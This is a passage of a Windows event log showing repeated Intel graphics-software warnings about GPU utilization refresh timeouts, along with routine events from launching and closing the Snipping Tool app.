09:10:17.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:17.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:18.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:18.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.387\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.832\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:21.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:21.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:22.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:22.841\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.289\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.737\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.964\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:25.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.300\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.304\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:28.190\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:28.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:29.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:29.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:30.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:33.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:33.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.205\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:35.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:35.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:36.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.452\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.676\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:40.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:40.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.568\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.791\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:43.013\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.127\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.801\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.134\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.481\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:49.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:52.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:52.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:53.218\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:10:53.231\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:10:53.231\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.269\t210\tCreated Desktop AppX container {245CDF31-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.269\t211\tAdded process 14764 to Desktop AppX container 245cdf31-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.271\t201\tCreated process 14764 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.800\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:53.804\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.468\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.472\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:58.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:58.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.246\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.250\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.251\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.256\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9402 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.264\t3052\tToast with notification tracking id 9402 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.269\t3153\tToast with notification tracking id 9402 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.410\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.453\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.514\t217\tDestroyed Desktop AppX container {245CDF31-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:59.515\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:11:00.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:00.136\t24\t\"Stream started.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:11:00.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.470\t25\t\"Stream stopped.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:11:01.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 